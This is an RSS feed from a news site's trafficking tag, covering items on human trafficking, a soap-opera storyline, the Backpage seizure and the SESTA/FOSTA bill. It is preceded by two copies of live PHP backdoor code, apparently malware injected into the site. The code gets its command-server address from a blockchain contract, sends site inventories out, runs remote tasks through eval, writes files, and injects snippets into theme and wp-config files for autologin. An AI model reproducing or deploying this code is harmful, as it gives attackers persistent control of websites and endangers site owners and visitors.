// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); trafficking – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 27 May 2019 07:44:44 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png trafficking – Brief News https://briefnews.eu 32 32 Coronation Street spoilers: Seb Franklin in danger amid dark human trafficking twist?  https://briefnews.eu/coronation-street-spoilers-seb-franklin-in-danger-amid-dark-human-trafficking-twist/ https://briefnews.eu/coronation-street-spoilers-seb-franklin-in-danger-amid-dark-human-trafficking-twist/#respond Mon, 27 May 2019 07:44:44 +0000 http://briefnews.eu/coronation-street-spoilers-seb-franklin-in-danger-amid-dark-human-trafficking-twist/

Coronation Street is going to turn dark this week as Seb Franklin (played by Harry Visinoni) is going to expose a dark crime. 

It comes after the soap announced their decision to explore modern slavery and human trafficking, which Seb would be involved in. 

And according to official soap spoilers, he is going to uncover newcomer Jan’s link to the exploitation.

In recent scenes, fans have seen the arrival of Alina, who is going to become a new love interest for Seb. 

And her connection to Jan was teased back in April, when she stopped in her tracks and recognised him whilst out on the Street. 

In upcoming weeks, Seb is going to discover how Alina came to the UK as part of an Eastern European human trafficking ring. 

Whilst the details of Jan’s storyline have yet to be confirmed, fans are speculating and suggesting he is part of the gang which is leading the trafficking. 

Nevertheless, the soap has dropped a teaser about how Seb confronting Jan about Alina’s situation. 

Taking to their official Instagram account, a backstage photo of the soap filming the scenes shows Seb at Eileen Grimshaw’s (Sue Cleaver) house with Jan.  

The pair look to be in a tense conversation, with Seb looking away into the distance and leaning on the sofa. 

Whilst the caption which accompany’s the image doesn’t hint at what words are being exchanged, judging by Jan’s stance he is either reassuring Seb or discouraging him. 

Is this the moment Seb exposes Alina for being a victim of trafficking? 

Elsewhere in the Street, there is a possibility David Platt (Jack P. Shepherd) could be in danger. 

Later this week, Corrie fans are going to find out the identity of super villain who has been causing turmoil for many of the residents. 

In a twist no one expected, David is going to expose his brother Nick Tilsley (Ben Price) as a thief and murderer to the rest of his family. 

But could this put him in danger? 

Actor Jack spoke about his current storyline and explained how there is going to be consequences for David in upcoming weeks. 

He said: “[He doesn’t] throw Nick under the bus, but Nick started all this, so David thinks if he’s going down, he’s going to take Nick down with him.

“David doesn’t think he’s going to get away scot-free. There’s going to be consequences for the pair of them but he’s prepared to face that.”

Coronation Street returns tonight at 9pm on ITV. 

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]]> https://briefnews.eu/coronation-street-spoilers-seb-franklin-in-danger-amid-dark-human-trafficking-twist/feed/ 0 Mexican officials are ready to stop helping the US fight terrorism and drug trafficking to get back at Trump https://briefnews.eu/mexican-officials-are-ready-to-stop-helping-the-us-fight-terrorism-and-drug-trafficking-to-get-back-at-trump/ https://briefnews.eu/mexican-officials-are-ready-to-stop-helping-the-us-fight-terrorism-and-drug-trafficking-to-get-back-at-trump/#respond Sat, 23 Jun 2018 05:25:45 +0000 http://briefnews.eu/mexican-officials-are-ready-to-stop-helping-the-us-fight-terrorism-and-drug-trafficking-to-get-back-at-trump/ Trump holding Mexico Border posterJohnathan Drake/Reuters

  • Mexican senators have asked their government to consider ending security and immigration cooperation with the US.
  • The call comes in response to Trump’s now-rescinded policy of separating immigrant families at the border.
  • It is not the first time Mexican officials have made such a proposal.

Mexican legislators this week proposed ending cooperation with the US on immigration, counterterrorism, and fighting organized crime “as long as President Donald Trump does not act with the respect that migrants deserve.”

The proposal was made on Wednesday by the Mexican Congress’ Permanent Commission, which meets while Congress is in recess, and asks the executive branch to “consider the possibility of withdrawing from any bilateral cooperation scheme” with the US on those issues.

See the rest of the story at Business Insider

NOW WATCH: Here’s what ‘Narcos’ and ‘Sicario’ get right and wrong about drug cartels

See Also:

SEE ALSO: Deadly violence in Mexico is intensifying, and May set an all-time record

]]> https://briefnews.eu/mexican-officials-are-ready-to-stop-helping-the-us-fight-terrorism-and-drug-trafficking-to-get-back-at-trump/feed/ 0 Feds Seize Backpage.com, Site Linked to Sex Trafficking https://briefnews.eu/feds-seize-backpage-com-site-linked-to-sex-trafficking/ https://briefnews.eu/feds-seize-backpage-com-site-linked-to-sex-trafficking/#respond Sat, 07 Apr 2018 02:37:49 +0000 http://briefnews.eu/feds-seize-backpage-com-site-linked-to-sex-trafficking/ A notice on the website of Backpage.com said it had been seized by multiple federal agencies. The site was at the center of a debate over amending a bedrock internet law.


https://media.wired.com/photos/5ac7ed4bec5e9b19adb81f50/master/pass/backpage-elena-wired-web-01.jpg

]]> https://briefnews.eu/feds-seize-backpage-com-site-linked-to-sex-trafficking/feed/ 0 Congress OKs sex trafficking bill that critics say will “censor the Internet” https://briefnews.eu/congress-oks-sex-trafficking-bill-that-critics-say-will-censor-the-internet/ https://briefnews.eu/congress-oks-sex-trafficking-bill-that-critics-say-will-censor-the-internet/#respond Thu, 22 Mar 2018 01:54:50 +0000 http://briefnews.eu/congress-oks-sex-trafficking-bill-that-critics-say-will-censor-the-internet/

Enlarge (credit: Getty Images | baona )

The US Senate today passed a bill that weakens legal protections given to websites that host third-party content, saying the measure will help stop promotion of prostitution and sex trafficking on the Internet. But the legislation won’t actually help victims of sex trafficking, and will erode online free speech, critics say.

The Senate passed the Stop Enabling Sex Traffickers Act (SESTA) in a 97-2 vote. Only Sens. Ron Wyden (D-Oregon) and Rand Paul (R-Kentucky) voted against the bill, which is also known as the Allow States and Victims to Fight Online Sex Trafficking Act (FOSTA). It already passed the House of Representatives, and is expected to be signed by President Donald Trump.

The bill changes Section 230 of the 1996 Communications Decency Act, which provides website operators with broad immunity for hosting third-party content. The bill declares that Section 230 “was never intended to provide legal protection to websites that unlawfully promote and facilitate prostitution and websites that facilitate traffickers in advertising the sale of unlawful sex acts with sex trafficking victims.”

Read 9 remaining paragraphs | Comments

]]> https://briefnews.eu/congress-oks-sex-trafficking-bill-that-critics-say-will-censor-the-internet/feed/ 0 Survivors of Human Trafficking, in Their Own Words https://briefnews.eu/survivors-of-human-trafficking-in-their-own-words/ https://briefnews.eu/survivors-of-human-trafficking-in-their-own-words/#respond Mon, 12 Mar 2018 16:17:04 +0000 http://briefnews.eu/survivors-of-human-trafficking-in-their-own-words/

Last June, The Atlantic published “My Family’s Slave,” a harrowing reflection by the journalist Alex Tizon on his experience of being raised by Eudocia Tomas Pulido, or, as she was known to Tizon, “Lola.” Pulido wasn’t in chains, Tizon wrote, yet “no other word but slave encompassed the life she lived.” The story moved millions of readers.

Today, as part of our special report about forced work, “The Unfree,” and with assistance from the nonprofit National Domestic Workers Alliance (NDWA), The Atlantic is presenting three essays written by women who have survived human trafficking. Here are their stories:

  1. Nena Ruiz tells of her modern-day slavery in California: “I had to brush the dogs’ teeth, clean their ears, and give them vitamins each day. But I had to sleep on a dog bed in the living room.”
  2. Natalicia Tracy recalls the self-doubt and coercion that enabled her traffickers to keep her in servitude: “I was a fixture in the house; a robot there to do things for them. I felt invisible, dispensable, and alone.”
  3. Judith Daluz recounts how she became tago nang tago, an undocumented survivor of human trafficking: “In the Philippines, I was independent and knew everyone in my neighborhood. In the U.S., I had become isolated—a shadow of myself.”

These stories offer glimpses of the cruelty faced by the desperate and powerless. But they are also tales of an astonishing sort of human resilience, which, as NDWA’s director Ai-jen Poo writes, “brings us face to face with the most painful aspects of humanity, so that we may collectively become more humane.”

]]> https://briefnews.eu/survivors-of-human-trafficking-in-their-own-words/feed/ 0 I Am a Survivor of Human Trafficking: Natalicia’s Story https://briefnews.eu/i-am-a-survivor-of-human-trafficking-natalicias-story/ https://briefnews.eu/i-am-a-survivor-of-human-trafficking-natalicias-story/#respond Mon, 12 Mar 2018 14:17:42 +0000 http://briefnews.eu/i-am-a-survivor-of-human-trafficking-natalicias-story/ This is one of three first-person accounts written by survivors of human trafficking. The others, as well as background about the project, can be found here.

My mother used to tell me, “I want you to go to school for me.” She herself had never had the chance. She came from a family of 10 children, and became a domestic worker, caring for another family’s children, by age 8. She stayed with them for eight more years, until she met and married my father.

I grew up in a small town in southeastern Brazil. My goal was always to finish high school, then go onto some kind of professional training. But it was difficult. In my district there were not enough schools for the number of children, so the school day was divided into three sessions. I went to the early session, from 7 a.m. to 11:30 a.m. Then from noon until bedtime, plus weekends, I worked for a neighbor who had asked me at age 8 to care for her 2-year-old daughter, and later, her second daughter.

When I was 14, I moved in with my older sister across the country to help take care of her newborn and pursue my dream of getting an education. To support myself, I began to work nearby as a nanny for a family of two doctors who had recently had a baby. About two years later they invited me to travel with them to Boston to care for their toddler. Being a frustrated teenager in Brazil, I saw it as an opportunity for myself. Everyone around me encouraged me to go. I didn’t know it then, but I would become a survivor of labor trafficking, as I later testified to the Connecticut state senate.

We agreed verbally that I would work for the family for two years. I would be part of the family, they said. They planned on doing a lot of traveling, visiting museums, and so on. They only had one child, and my job was to take care of him. I got a domestic-worker visa, and I didn’t even have to go to the U.S. embassy to pick it up. I never had to do an interview. I was never asked any questions. Only later I found out that I would get paid $ 100 per month, or $ 25 per week, with room and board included.

